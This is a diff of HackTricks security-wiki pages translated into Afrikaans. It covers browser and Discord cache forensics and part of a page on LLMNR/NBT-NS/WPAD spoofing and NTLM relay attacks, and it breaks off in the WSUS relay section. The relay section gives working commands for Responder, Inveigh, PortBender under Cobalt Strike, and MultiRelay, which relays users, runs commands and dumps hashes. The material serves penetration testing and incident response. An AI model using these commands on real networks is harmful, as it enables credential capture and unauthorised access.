+Om te probeer om die meesterwagwoord te ontsleutel, kan jy gebruik [https://github.com/unode/firefox_decrypt]\
-Met die volgende skrip en oproep kan jy 'n wagwoord lêer spesifiseer om te brute force:
+Met die volgende skrip en oproep kan jy 'n wagwoordlêer spesifiseer om deur brute force te probeer:
 ```bash:brute.sh
 #!/bin/bash
 
@@ -67,63 +67,69 @@ done < $passfile
 
 ## Google Chrome
 
-Google Chrome stoor gebruikersprofiele in spesifieke plekke gebaseer op die bedryfstelsel:
+Google Chrome stoor gebruikerprofiele in spesifieke plekke afhangend van die bedryfstelsel:
 
 - **Linux**: `~/.config/google-chrome/`
 - **Windows**: `C:\Users\XXX\AppData\Local\Google\Chrome\User Data\`
 - **MacOS**: `/Users/$USER/Library/Application Support/Google/Chrome/`
 
-Binne hierdie gidse kan die meeste gebruikersdata in die **Default/** of **ChromeDefaultData/** vouers gevind word. Die volgende lêers hou belangrike data:
+Binne hierdie gidse word meeste gebruikersdata in die **Default/** of **ChromeDefaultData/** -vouers gevind. Die volgende lêers bevat betekenisvolle data:
 
-- **History**: Bevat URL's, aflaaie, en soek sleutelwoorde. Op Windows kan [ChromeHistoryView](https://www.nirsoft.net/utils/chrome_history_view.html) gebruik word om die geskiedenis te lees. Die "Transition Type" kolom het verskeie betekenisse, insluitend gebruikersklieks op skakels, getypte URL's, vormindienings, en bladsy herlaai.
+- **History**: Bevat URLs, downloads en soekwoorde. Op Windows kan [ChromeHistoryView](https://www.nirsoft.net/utils/chrome_history_view.html) gebruik word om die history te lees. Die "Transition Type" kolom het verskeie betekenisse, insluitende gebruikerklik op skakels, ingetypte URLs, vorminskrywings en bladsy-herlaaiings.
-- **Cookies**: Stoor koekies. Vir inspeksie is [ChromeCookiesView](https://www.nirsoft.net/utils/chrome_cookies_view.html) beskikbaar.
+- **Cookies**: Stoor cookies. Vir inspeksie is [ChromeCookiesView](https://www.nirsoft.net/utils/chrome_cookies_view.html) beskikbaar.
-- **Cache**: Hou gekapte data. Om te inspekteer, kan Windows-gebruikers [ChromeCacheView](https://www.nirsoft.net/utils/chrome_cache_view.html) gebruik.
+- **Cache**: Bevat gecachte data. Om te inspekteer kan Windows-gebruikers [ChromeCacheView](https://www.nirsoft.net/utils/chrome_cache_view.html) gebruik.
-- **Bookmarks**: Gebruikers se boekmerke.
+
-- **Web Data**: Bevat vorm geskiedenis.
+Electron-based desktop apps (bv. Discord) gebruik ook Chromium Simple Cache en laat baie on-disk artefakte agter. Sien:
-- **Favicons**: Stoor webwerf favicons.
+
-- **Login Data**: Sluit aanmeldbesonderhede soos gebruikersname en wagwoorde in.
+{{#ref}}
-- **Current Session**/**Current Tabs**: Data oor die huidige blaai sessie en oop oortjies.
+discord-cache-forensics.md
+{{#endref}}
+- **Bookmarks**: Gebruiker se bookmarks.
+- **Web Data**: Bevat vormgeskiedenis.
+- **Favicons**: Stoor webwerf-favicons.
+- **Login Data**: Sluit aanmeldinligting in soos gebruikersname en wagwoorde.
+- **Current Session**/**Current Tabs**: Data oor die huidige blaai-sessie en oop tabbladsye.
 - **Last Session**/**Last Tabs**: Inligting oor die webwerwe wat aktief was tydens die laaste sessie voordat Chrome gesluit is.
-- **Extensions**: Gidse vir blaaiers uitbreidings en addons.
+- **Extensions**: Gidse vir browser-uitbreidings en addons.
-- **Thumbnails**: Stoor webwerf miniatuurbeelde.
+- **Thumbnails**: Stoor webwerf-miniatuurbeelde.
-- **Preferences**: 'n Lêer ryk aan inligting, insluitend instellings vir plugins, uitbreidings, pop-ups, kennisgewings, en meer.
+- **Preferences**: 'n Lêer ryk aan inligting, insluitende instellings vir plugins, uitbreidings, pop-ups, kennisgewings en meer.
-- **Browser’s built-in anti-phishing**: Om te kontroleer of anti-phishing en malware beskerming geaktiveer is, voer `grep 'safebrowsing' ~/Library/Application Support/Google/Chrome/Default/Preferences` uit. Soek na `{"enabled: true,"}` in die uitvoer.
+- **Browser’s built-in anti-phishing**: Om te kontroleer of anti-phishing en malware-beskerming aangeskakel is, voer uit `grep 'safebrowsing' ~/Library/Application Support/Google/Chrome/Default/Preferences`. Kyk vir `{"enabled: true,"}` in die uitset.
 
 ## **SQLite DB Data Recovery**
 
-Soos jy in die vorige afdelings kan sien, gebruik beide Chrome en Firefox **SQLite** databasisse om die data te stoor. Dit is moontlik om **verwyderde inskrywings te herstel met die hulpmiddel** [**sqlparse**](https://github.com/padfoot999/sqlparse) **of** [**sqlparse_gui**](https://github.com/mdegrazia/SQLite-Deleted-Records-Parser/releases).
+Soos jy in die vorige afdelings kan sien, gebruik beide Chrome en Firefox **SQLite** databasisse om data te stoor. Dit is moontlik om **verwyderde inskrywings te herstel met die hulpmiddel** [**sqlparse**](https://github.com/padfoot999/sqlparse) **of** [**sqlparse_gui**](https://github.com/mdegrazia/SQLite-Deleted-Records-Parser/releases).
 
 ## **Internet Explorer 11**
 
-Internet Explorer 11 bestuur sy data en metadata oor verskeie plekke, wat help om gestoor inligting en sy ooreenstemmende besonderhede te skei vir maklike toegang en bestuur.
+Internet Explorer 11 bestuur sy data en metadata oor verskeie plekke, wat help om gestoorde inligting en die ooreenstemmende besonderhede te skei vir maklike toegang en bestuur.
 
 ### Metadata Storage
 
-Metadata vir Internet Explorer word gestoor in `%userprofile%\Appdata\Local\Microsoft\Windows\WebCache\WebcacheVX.data` (met VX wat V01, V16, of V24 is). Saam hiermee kan die `V01.log` lêer wys datums van verandering met `WebcacheVX.data`, wat 'n behoefte aan herstel aandui met `esentutl /r V01 /d`. Hierdie metadata, wat in 'n ESE-databasis gehuisves word, kan herstel en ondersoek word met hulpmiddels soos photorec en [ESEDatabaseView](https://www.nirsoft.net/utils/ese_database_view.html), onderskeidelik. Binne die **Containers** tabel kan 'n mens die spesifieke tabelle of houers waar elke datasegment gestoor is, onderskei, insluitend cache besonderhede vir ander Microsoft gereedskap soos Skype.
+Metadata vir Internet Explorer word gestoor in `%userprofile%\Appdata\Local\Microsoft\Windows\WebCache\WebcacheVX.data` (met VX wat V01, V16 of V24 kan wees). Saam met dit kan die `V01.log` lêer wys dat wysigingstye nie ooreenstem met `WebcacheVX.data` nie, wat dui op 'n behoefte om te herstel met `esentutl /r V01 /d`. Hierdie metadata, gehuisves in 'n ESE-databasis, kan herstel en ondersoek word met gereedskap soos photorec en [ESEDatabaseView](https://www.nirsoft.net/utils/ese_database_view.html), onderskeidelik. Binne die **Containers** tabel kan mens die spesifieke tabelle of houers onderskei waar elke datasegment gestoor is, insluitende cache-besonderhede vir ander Microsoft-instrumente soos Skype.
 
 ### Cache Inspection
 
-Die [IECacheView](https://www.nirsoft.net/utils/ie_cache_viewer.html) hulpmiddel laat vir cache inspeksie toe, wat die cache data ekstraksie vouer plek vereis. Metadata vir cache sluit lêernaam, gids, toegang telling, URL oorsprong, en tydstempels in wat die cache skepping, toegang, verandering, en vervaldatums aandui.
+Die [IECacheView](https://www.nirsoft.net/utils/ie_cache_viewer.html) hulpmiddel laat cache-inspeksie toe en vereis die ligging van die uitgehaalde cache-data gids. Metadata vir die cache sluit lêernaam, gids, toegangsteller, URL-bron en tydstempel in wat aandui wanneer die cache geskep, geraak, gewysig en verval het.
 
 ### Cookies Management
 
-Koekies kan ondersoek word met [IECookiesView](https://www.nirsoft.net/utils/iecookies.html), met metadata wat name, URL's, toegang tellings, en verskeie tyd-verwante besonderhede insluit. Volhoubare koekies word gestoor in `%userprofile%\Appdata\Roaming\Microsoft\Windows\Cookies`, met sessie koekies wat in geheue woon.
+Cookies kan ondersoek word met [IECookiesView](https://www.nirsoft.net/utils/iecookies.html), met metadata wat name, URLs, toegangstellings en verskeie tydverwante besonderhede insluit. Persistent cookies word gestoor in `%userprofile%\Appdata\Roaming\Microsoft\Windows\Cookies`, terwyl sessie-cookies in geheue bly.
 
 ### Download Details
 
-Aflaai metadata is toeganklik via [ESEDatabaseView](https://www.nirsoft.net/utils/ese_database_view.html), met spesifieke houers wat data soos URL, lêer tipe, en aflaai plek hou. Fisiese lêers kan onder `%userprofile%\Appdata\Roaming\Microsoft\Windows\IEDownloadHistory` gevind word.
+Downloads metadata is toeganklik via [ESEDatabaseView](https://www.nirsoft.net/utils/ese_database_view.html), met spesifieke containers wat data soos URL, lêertipe en aflaailigging bevat. Fisiese lêers kan gevind word onder `%userprofile%\Appdata\Roaming\Microsoft\Windows\IEDownloadHistory`.
 
 ### Browsing History
 
-Om blaai geskiedenis te hersien, kan [BrowsingHistoryView](https://www.nirsoft.net/utils/browsing_history_view.html) gebruik word, wat die plek van ekstrakte geskiedenis lêers en konfigurasie vir Internet Explorer vereis. Metadata hier sluit verandering en toegang tye in, saam met toegang tellings. Geskiedenis lêers is geleë in `%userprofile%\Appdata\Local\Microsoft\Windows\History`.
+Om blaai-geskiedenis na te gaan, kan [BrowsingHistoryView](https://www.nirsoft.net/utils/browsing_history_view.html) gebruik word; dit vereis die ligging van uitgehaalde history-lêers en konfigurasie vir Internet Explorer. Metadata hier sluit wysiging- en toegangstye, sowel as toegangstellings, in. History-lêers is geleë in `%userprofile%\Appdata\Local\Microsoft\Windows\History`.
 
 ### Typed URLs
 
-Getypte URL's en hul gebruik tydstippe word in die register onder `NTUSER.DAT` gestoor by `Software\Microsoft\InternetExplorer\TypedURLs` en `Software\Microsoft\InternetExplorer\TypedURLsTime`, wat die laaste 50 URL's wat deur die gebruiker ingevoer is en hul laaste invoer tye volg.
+Ingetypte URLs en hul gebruikstye word in die register gehou onder `NTUSER.DAT` by `Software\Microsoft\InternetExplorer\TypedURLs` en `Software\Microsoft\InternetExplorer\TypedURLsTime`, wat die laaste 50 URLs wat die gebruiker ingevoer het en hul laaste invoertye dop.
 
 ## Microsoft Edge
 
-Microsoft Edge stoor gebruikersdata in `%userprofile%\Appdata\Local\Packages`. Die paaie vir verskillende datatipes is:
+Microsoft Edge stoor gebruikerdata in `%userprofile%\Appdata\Local\Packages`. Die paaie vir verskeie datatipes is:
 
 - **Profile Path**: `C:\Users\XX\AppData\Local\Packages\Microsoft.MicrosoftEdge_XXX\AC`
 - **History, Cookies, and Downloads**: `C:\Users\XX\AppData\Local\Microsoft\Windows\WebCache\WebCacheV01.dat`
@@ -133,24 +139,24 @@ Microsoft Edge stoor gebruikersdata in `%userprofile%\Appdata\Local\Packages`. D
 
 ## Safari
 
-Safari data word gestoor by `/Users/$User/Library/Safari`. Sleutel lêers sluit in:
+Safari-data word gestoor by `/Users/$User/Library/Safari`. Sleutellêers sluit in:
 
-- **History.db**: Bevat `history_visits` en `history_items` tabelle met URL's en besoek tydstempels. Gebruik `sqlite3` om te vra.
+- **History.db**: Bevat `history_visits` en `history_items` tabelle met URLs en besoektye. Gebruik `sqlite3` om navraag te doen.
 - **Downloads.plist**: Inligting oor afgelaaide lêers.
-- **Bookmarks.plist**: Stoor geboekmerkte URL's.
+- **Bookmarks.plist**: Stoor gebladerde bookmarks.
-- **TopSites.plist**: Meest besoekte webwerwe.
+- **TopSites.plist**: Mees gereeld besoekte webwerwe.
-- **Extensions.plist**: Lys van Safari blaaiers uitbreidings. Gebruik `plutil` of `pluginkit` om te verkry.
+- **Extensions.plist**: Lys van Safari-browseruitbreidings. Gebruik `plutil` of `pluginkit` om te herwin.
-- **UserNotificationPermissions.plist**: Domeine wat toegelaat word om kennisgewings te stuur. Gebruik `plutil` om te parse.
+- **UserNotificationPermissions.plist**: Domeine wat toegelaat is om kennisgewings te stuur. Gebruik `plutil` om te parse.
-- **LastSession.plist**: Oortjies van die laaste sessie. Gebruik `plutil` om te parse.
+- **LastSession.plist**: Tabbladsye van die laaste sessie. Gebruik `plutil` om te parse.
-- **Browser’s built-in anti-phishing**: Kontroleer met `defaults read com.apple.Safari WarnAboutFraudulentWebsites`. 'n Antwoord van 1 dui aan dat die funksie aktief is.
+- **Browser’s built-in anti-phishing**: Kontroleer met `defaults read com.apple.Safari WarnAboutFraudulentWebsites`. 'n Antwoord van 1 dui daarop dat die funksie aktief is.
 
 ## Opera
 
-Opera se data is geleë in `/Users/$USER/Library/Application Support/com.operasoftware.Opera` en deel Chrome se formaat vir geskiedenis en aflaaie.
+Opera se data is geleë in `/Users/$USER/Library/Application Support/com.operasoftware.Opera` en deel Chrome se formaat vir history en downloads.
 
-- **Browser’s built-in anti-phishing**: Verifieer deur te kontroleer of `fraud_protection_enabled` in die Voorkeurlêer op `true` gestel is met behulp van `grep`.
+- **Browser’s built-in anti-phishing**: Verifieer deur te kontroleer of `fraud_protection_enabled` in die Preferences-lêer op `true` gestel is met `grep`.
 
-Hierdie paaie en opdragte is noodsaaklik vir toegang tot en begrip van die blaai data wat deur verskillende webblaaiers gestoor word.
+Hierdie paaie en opdragte is noodsaaklik om toegang te kry tot en begrip te hê van die blaai-data wat deur verskillende webblaaiers gestoor word.
 
 ## References
 

src/generic-methodologies-and-resources/basic-forensic-methodology/specific-software-file-type-tricks/discord-cache-forensics.md

@@ -0,0 +1,89 @@
+# Discord Cache Forensics (Chromium Simple Cache)
+
+{{#include ../../../banners/hacktricks-training.md}}
+
+This page summarizes how to triage Discord Desktop cache artifacts to recover exfiltrated files, webhook endpoints, and activity timelines. Discord Desktop is an Electron/Chromium app and uses Chromium Simple Cache on disk.
+
+## Where to look (Windows/macOS/Linux)
+
+- Windows: %AppData%\discord\Cache\Cache_Data
+- macOS: ~/Library/Application Support/discord/Cache/Cache_Data
+- Linux: ~/.config/discord/Cache/Cache_Data
+
+Key on‑disk structures inside Cache_Data:
+- index: Simple Cache indeksdatabasis
+- data_#: Binêre cache-bloklêers wat meerdere gecachte objeke kan bevat
+- f_######: Individuele gecachte inskrywings gestoor as afsonderlike lêers (dikwels groter bodies)
+
+Note: Deleting messages/channels/servers in Discord does not purge this local cache. Cached items often remain and their file timestamps align with user activity, enabling timeline reconstruction.
+
+## What can be recovered
+
+- Exfiltrated attachments and thumbnails fetched via cdn.discordapp.com/media.discordapp.net
+- Images, GIFs, videos (e.g., .jpg, .png, .gif, .webp, .mp4, .webm)
+- Webhook URLs (https://discord.com/api/webhooks/…)
+- Discord API calls (https://discord.com/api/vX/…)
+- Helpful for correlating beaconing/exfil activity and hashing media for intel matching
+
+## Quick triage (manual)
+
+- Grep die cache vir hoë-signaal artefakte:
+- Webhook endpoints:
+- Windows: findstr /S /I /C:"https://discord.com/api/webhooks/" "%AppData%\discord\Cache\Cache_Data\*"
+- Linux/macOS: strings -a Cache_Data/* | grep -i "https://discord.com/api/webhooks/"
+- Attachment/CDN URLs:
+- strings -a Cache_Data/* | grep -Ei "https://(cdn|media)\.discord(app)?\.com/attachments/"
+- Discord API calls:
+- strings -a Cache_Data/* | grep -Ei "https://discord(app)?\.com/api/v[0-9]+/"
+- Sorteer gecachte inskrywings volgens wysigingstyd om 'n vinnige tydlyn te bou (mtime weerspieël wanneer die objek in die cache gekom het):
+- Windows PowerShell: Get-ChildItem "$env:AppData\discord\Cache\Cache_Data" -File -Recurse | Sort-Object LastWriteTime | Select-Object LastWriteTime, FullName
+
+## Parsing f_* entries (HTTP body + headers)
+
+Files starting with f_ contain HTTP response headers followed by the body. The header block typically ends with \r\n\r\n. Useful response headers include:
+- Content-Type: Om media-type af te lei
+- Content-Location or X-Original-URL: Originêre remote URL vir preview/korrelasie
+- Content-Encoding: Mag wees gzip/deflate/br (Brotli)
+
+Media kan uitgehaal word deur headers van die body te skei en opsioneel te dekomprimeer gebaseer op Content-Encoding. Magic-byte sniffing is nuttig wanneer Content-Type afwesig is.
+
+## Automated DFIR: Discord Forensic Suite (CLI/GUI)
+
+- Repo: https://github.com/jwdfir/discord_cache_parser
+- Function: Rekursief skandeer Discord se cache-lêergids, vind webhook/API/attachment URLs, parseer f_* bodies, opsioneel carve media, en gee HTML + CSV tydlyn-verslae met SHA‑256 hashes uit.
+
+Example CLI usage:
+```bash
+# Acquire cache (copy directory for offline parsing), then run:
+python3 discord_forensic_suite_cli \
+--cache "%AppData%\discord\Cache\Cache_Data" \
+--outdir C:\IR\discord-cache \
+--output discord_cache_report \
+--format both \
+--timeline \
+--extra \
+--carve \
+--verbose
+```
+Key options:
+- --cache: Pad na Cache_Data
+- --format html|csv|both
+- --timeline: Emit geordende CSV-tydlyn (op modified time)
+- --extra: Skandeer ook suster Code Cache en GPUCache
+- --carve: Onttrek media uit rou bytes naby regex-treffers (images/video)
+- Output: HTML report, CSV report, CSV timeline, and a media folder with carved/extracted files
+
+## Wenke vir ontleders
+
+- Korreleer die modified time (mtime) van f_* en data_* lêers met gebruiker/aanvaller-aktiwiteitsvensters om 'n tydlyn te herbou.
+- Bereken die SHA-256-hash van die herstelde media en vergelyk dit met known-bad of exfil datasets.
+- Uittrekte webhook URLs kan getoets word vir lewensvatbaarheid of geroteer word; oorweeg om dit by blocklists en retro-hunting proxies te voeg.
+- Die Cache bly voortbestaan nadat daar aan die bediener-kant "wiping" uitgevoer is. Indien verkryging moontlik is, versamel die hele Cache directory en verwante suster-caches (Code Cache, GPUCache).
+
+## References
+
+- [Discord as a C2 and the cached evidence left behind](https://www.pentestpartners.com/security-blog/discord-as-a-c2-and-the-cached-evidence-left-behind/)
+- [Discord Forensic Suite (CLI/GUI)](https://github.com/jwdfir/discord_cache_parser)
+- [Discord Webhooks – Execute Webhook](https://discord.com/developers/docs/resources/webhook#execute-webhook)
+
+{{#include ../../../banners/hacktricks-training.md}}

src/generic-methodologies-and-resources/pentesting-network/spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md

@@ -1,77 +1,77 @@
-# Spoofing LLMNR, NBT-NS, mDNS/DNS en WPAD en Relay-aanvalle
+# Spoofing LLMNR, NBT-NS, mDNS/DNS and WPAD and Relay Attacks
 
 {{#include ../../banners/hacktricks-training.md}}
 
 ## Netwerkprotokolle
 
-### Plaaslike Gasheer Oplossingsprotokolle
+### Local Host Resolution Protocols
 
-- **LLMNR, NBT-NS, en mDNS**:
+- **LLMNR, NBT-NS, and mDNS**:
-- Microsoft en ander bedryfstelsels gebruik LLMNR en NBT-NS vir plaaslike naamoplossing wanneer DNS misluk. Net so gebruik Apple en Linux stelsels mDNS.
+- Microsoft en ander bedryfstelsels gebruik LLMNR en NBT-NS vir plaaslike naamoplossing wanneer DNS faal. Net so gebruik Apple- en Linux-stelsels mDNS.
-- Hierdie protokolle is vatbaar vir onderskep en spoofing weens hul nie-geverifieerde, uitsendingsnatuur oor UDP.
+- Hierdie protokolle is vatbaar vir onderskepping en spoofing weens hul nie-geverifieerde uitsendingsaard oor UDP.
-- [Responder](https://github.com/lgandx/Responder) kan gebruik word om dienste na te boots deur vervalste antwoorde na gashere wat hierdie protokolle vra, te stuur.
+- [Responder](https://github.com/lgandx/Responder) kan gebruik word om dienste te imiteer deur vervalste antwoorde te stuur aan gashere wat navrae na hierdie protokolle stuur.
-- Verdere inligting oor diensna-booting met Responder kan [hier](spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md) gevind word.
+- Verdere inligting oor diensimitasie met Responder is te vinde [here](spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md).
 
-### Web Proxy Auto-Discovery Protokol (WPAD)
+### Web Proxy Auto-Discovery Protocol (WPAD)
 
 - WPAD laat blaaiers toe om proxy-instellings outomaties te ontdek.
-- Ontdekking word gefasiliteer via DHCP, DNS, of terugval na LLMNR en NBT-NS indien DNS misluk.
+- Ontdekking word gefasiliteer via DHCP, DNS, of terugval na LLMNR en NBT-NS as DNS faal.
-- Responder kan WPAD-aanvalle outomatiseer, wat kliënte na kwaadwillige WPAD-bedieners lei.
+- Responder kan WPAD-aanvalle outomatiseer en kliënte na kwaadwillige WPAD-bedieners lei.
 
-### Responder vir Protokol Vergiftiging
+### Responder vir Protokolvergiftiging
 
-- **Responder** is 'n hulpmiddel wat gebruik word vir die vergiftiging van LLMNR, NBT-NS, en mDNS vrae, wat selektief antwoordgee gebaseer op vraetipes, hoofsaaklik teiken SMB-dienste.
+- **Responder** is 'n hulpmiddel wat gebruik word om LLMNR-, NBT-NS- en mDNS-navrae te vergiftig, en selektief te reageer gebaseer op navraagtipe, hoofsaaklik SMB-dienste teiken.
 - Dit kom vooraf geïnstalleer in Kali Linux, konfigureerbaar by `/etc/responder/Responder.conf`.
-- Responder vertoon gevangen hashes op die skerm en stoor dit in die `/usr/share/responder/logs` gids.
+- Responder vertoon vasgevang hashes op die skerm en stoor dit in die `/usr/share/responder/logs` gids.
 - Dit ondersteun beide IPv4 en IPv6.
-- Windows weergawe van Responder is [hier](https://github.com/lgandx/Responder-Windows) beskikbaar.
+- Windows version of Responder is available [here](https://github.com/lgandx/Responder-Windows).
 
-#### Responder Uitvoer
+#### Running Responder
 
-- Om Responder met standaardinstellings te laat loop: `responder -I <Interface>`
+- Om Responder met verstekinstellings te hardloop: `responder -I <Interface>`
 - Vir meer aggressiewe ondersoek (met moontlike newe-effekte): `responder -I <Interface> -P -r -v`
-- Tegnieke om NTLMv1 uitdagings/antwoorde te vang vir makliker krak: `responder -I <Interface> --lm --disable-ess`
+- Tegnieke om NTLMv1 challenges/responses te vasvang vir makliker krak: `responder -I <Interface> --lm --disable-ess`
-- WPAD-na-booting kan geaktiveer word met: `responder -I <Interface> --wpad`
+- WPAD-imitasie kan geaktiveer word met: `responder -I <Interface> --wpad`
-- NetBIOS versoeke kan opgelos word na die aanvaller se IP, en 'n verifikasie-proxy kan opgestel word: `responder.py -I <interface> -Pv`
+- NetBIOS-versoeke kan opgelos word na die aanvaller se IP, en 'n authentication proxy kan opgestel word: `responder.py -I <interface> -Pv`
 
-### DHCP Vergiftiging met Responder
+### DHCP Poisoning met Responder
 
-- Spoofing DHCP-antwoorde kan 'n slagoffer se routeringsinligting permanent vergiftig, wat 'n meer stil alternatief bied vir ARP vergiftiging.
+- Spoofing van DHCP-antwoorde kan 'n slagoffer se routeringsinligting permanent vergiftig, wat 'n minder opspiedende alternatief tot ARP-vergiftiging bied.
-- Dit vereis presiese kennis van die teiken netwerk se konfigurasie.
+- Dit vereis presiese kennis van die teikennetwerk se konfigurasie.
-- Om die aanval te laat loop: `./Responder.py -I eth0 -Pdv`
+- Running the attack: `./Responder.py -I eth0 -Pdv`
-- Hierdie metode kan effektief NTLMv1/2 hashes vang, maar dit vereis versigtige hantering om netwerkonderbreking te vermy.
+- Hierdie metode kan effektief NTLMv1/2 hashes vasvang, maar vereis versigtige hantering om netwerkversteuring te vermy.
 
-### Capturing Kredensiale met Responder
+### Vasvang van Geloofsbriewe met Responder
 
-- Responder sal dienste na boot met die bogenoemde protokolle, en kredensiale (gewoonlik NTLMv2 Uitdaging/Antwoord) vang wanneer 'n gebruiker probeer om te verifieer teen die gespoofde dienste.
+- Responder sal dienste imiteer wat bogenoemde protokolle gebruik, en geloofsbriewe vasvang (gewoonlik NTLMv2 Challenge/Response) wanneer 'n gebruiker probeer verifieer teen die gespoofte dienste.
-- Pogings kan aangewend word om af te gradeer na NetNTLMv1 of ESS te deaktiveer vir makliker kredensiaal krak.
+- Pogings kan aangewend word om af te gradeer na NetNTLMv1 of ESS te deaktiveer vir makliker krak van geloofsbriewe.
 
-Dit is van kardinale belang om te noem dat die gebruik van hierdie tegnieke wettig en eties moet wees, met behoorlike magtiging en om onderbreking of ongeoorloofde toegang te vermy.
+Dit is van kardinale belang dat die gebruik van hierdie tegnieke wettig en eties geskied, met behoorlike magtiging en sonder ontwrigting of ongemagtigde toegang.
 
 ## Inveigh
 
-Inveigh is 'n hulpmiddel vir penetrasietoetsers en rooi spanlede, ontwerp vir Windows stelsels. Dit bied funksies soortgelyk aan Responder, wat spoofing en man-in-the-middle aanvalle uitvoer. Die hulpmiddel het ontwikkel van 'n PowerShell-skrip na 'n C# binaire, met [**Inveigh**](https://github.com/Kevin-Robertson/Inveigh) en [**InveighZero**](https://github.com/Kevin-Robertson/InveighZero) as die hoof weergawes. Gedetailleerde parameters en instruksies kan in die [**wiki**](https://github.com/Kevin-Robertson/Inveigh/wiki/Parameters) gevind word.
+Inveigh is 'n hulpmiddel vir penetration testers en red teamers, ontwerp vir Windows systems. Dit bied funksionaliteit soortgelyk aan Responder, en voer spoofing en man-in-the-middle-aanvalle uit. Die hulpmiddel het ontwikkel van 'n PowerShell-skrip na 'n C#-binary, met [**Inveigh**](https://github.com/Kevin-Robertson/Inveigh) en [**InveighZero**](https://github.com/Kevin-Robertson/InveighZero) as die hoofweergawes. Gedetaileerde parameters en instruksies is beskikbaar in die [**wiki**](https://github.com/Kevin-Robertson/Inveigh/wiki/Parameters).
 
 Inveigh kan deur PowerShell bedryf word:
 ```bash
 Invoke-Inveigh -NBNS Y -ConsoleOutput Y -FileOutput Y
 ```
-Of uitgevoer as 'n C# binêre:
+Of uitgevoer as 'n C# binary:
 ```bash
 Inveigh.exe
 ```
-### NTLM Relay Aanval
+### NTLM Relay Attack
 
-Hierdie aanval benut SMB-outeentigingsessies om toegang tot 'n teikenmasjien te verkry, wat 'n stelselshell bied indien suksesvol. Sleutelvereistes sluit in:
+Hierdie aanval benut SMB-authentikasiesessies om toegang tot 'n teikenmasjien te verkry en, indien suksesvol, 'n system shell te kry. Belangrike vereistes sluit in:
 
-- Die outentiserende gebruiker moet Lokale Admin-toegang op die oorgedraagde gasheer hê.
+- Die autentiserende gebruiker moet Local Admin access op die relayed host hê.
-- SMB-handtekening moet gedeaktiveer wees.
+- SMB signing moet gedeaktiveer wees.
 
-#### 445 Poort Oorgang en Tunneling
+#### 445 Port Forwarding and Tunneling
 
-In scenario's waar direkte netwerkintroduksie nie haalbaar is nie, moet verkeer op poort 445 oorgedra en getunnel word. Gereedskap soos [**PortBender**](https://github.com/praetorian-inc/PortBender) help om poort 445-verkeer na 'n ander poort te herlei, wat noodsaaklik is wanneer lokale admin-toegang beskikbaar is vir stuurprogramlaai.
+In scenario's waar direkte netwerkintroduksie nie uitvoerbaar is nie, moet verkeer op port 445 geforward en getunnel word. Gereedskap soos [**PortBender**](https://github.com/praetorian-inc/PortBender) help om port 445-verkeer na 'n ander poort om te lei, wat noodsaaklik is wanneer Local Admin access beskikbaar is vir driver loading.
 
-PortBender opstelling en werking in Cobalt Strike:
+PortBender setup and operation in Cobalt Strike:
 ```bash
 Cobalt Strike -> Script Manager -> Load (Select PortBender.cna)
 
@@ -87,17 +87,17 @@ beacon> jobkill 0
 beacon> rportfwd stop 8445
 beacon> socks stop
 ```
-### Ander Gereedskap vir NTLM Relay Aanval
+### Ander gereedskap vir NTLM Relay Attack
 
-- **Metasploit**: Opgestel met proxies, plaaslike en afstandshost besonderhede.
+- **Metasploit**: Opstel met proxies, plaaslike en afgeleë host-besonderhede.
-- **smbrelayx**: 'n Python-skrip vir die oordrag van SMB-sessies en die uitvoer van opdragte of die ontplooiing van agterdeure.
+- **smbrelayx**: 'n Python-skrip om SMB-sessies te relé en opdragte uit te voer of backdoors te ontplooi.
-- **MultiRelay**: 'n Gereedskap van die Responder-suite om spesifieke gebruikers of alle gebruikers te relaye, opdragte uit te voer, of hashes te dump.
+- **MultiRelay**: 'n hulpmiddel uit die Responder-suite om spesifieke gebruikers of alle gebruikers te relé, opdragte uit te voer, of hashes te dump.
 
-Elke gereedskap kan gekonfigureer word om deur 'n SOCKS-proxy te werk, indien nodig, wat aanvalle moontlik maak selfs met indirekte netwerktoegang.
+Elke hulpmiddel kan gekonfigureer word om deur 'n SOCKS proxy te werk indien nodig, wat aanvalle selfs met indirekte netwerktoegang moontlik maak.
 
-### MultiRelay Operasie
+### MultiRelay-operasie
 
-MultiRelay word uitgevoer vanaf die _**/usr/share/responder/tools**_ gids, wat spesifieke IP's of gebruikers teiken.
+MultiRelay word vanaf die _**/usr/share/responder/tools**_ gids uitgevoer en mik op spesifieke IPs of gebruikers.
 ```bash
 python MultiRelay.py -t <IP target> -u ALL # Relay all users
 python MultiRelay.py -t <IP target> -u ALL -c whoami # Execute command
@@ -105,78 +105,138 @@ python MultiRelay.py -t <IP target> -u ALL -d # Dump hashes
 
 # Proxychains for routing traffic
 ```
-Hierdie gereedskap en tegnieke vorm 'n omvattende stel vir die uitvoering van NTLM Relay-aanvalle in verskeie netwerkomgewings.
+Hierdie gereedskap en tegnieke vorm 'n omvattende stel vir die uitvoering van NTLM Relay attacks in verskeie netwerkomgewings.
+
+### Misbruik van WSUS HTTP (8530) vir NTLM Relay na LDAP/SMB/AD CS (ESC8)
+
+WSUS-kliente verifieer by hul opdateringsbediener met NTLM oor HTTP (8530) of HTTPS (8531). Wanneer HTTP geaktiveer is, kan periodieke kliënt-inskrywings op die plaaslike segment geforseer of onderskep en met ntlmrelayx na LDAP/LDAPS/SMB of AD CS HTTP-endpunte (ESC8) herlei word sonder om enige hashes te crack. Dit meng in met normale opdateringstrafiek en lewer dikwels masjien-rekeningverifikasies op (HOST$).
+
+Wat om na te kyk
+- GPO/registrasie-konfigurasie onder HKLM\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate en ...\WindowsUpdate\AU:
+- WUServer (bv., http://wsus.domain.local:8530)
+- WUStatusServer (reporting URL)
+- UseWUServer (1 = WSUS; 0 = Microsoft Update)
+- DetectionFrequencyEnabled and DetectionFrequency (hours)
+- WSUS SOAP-endpunte wat deur kliënte oor HTTP gebruik word:
+- /ClientWebService/client.asmx (approvals)
+- /ReportingWebService/reportingwebservice.asmx (status)
+- Standaard-porte: 8530/tcp HTTP, 8531/tcp HTTPS
+
+Verkenning
+- Onautentiseerd
+- Scan vir listeners: nmap -sSVC -Pn --open -p 8530,8531 -iL <hosts>
+- Sniff HTTP WSUS-verkeer via L2 MITM en log aktiewe kliënte/endpunte met wsusniff.py (HTTP slegs tensy jy kliënte kan laat vertrou op jou TLS-cert).
+- Geauthentiseer
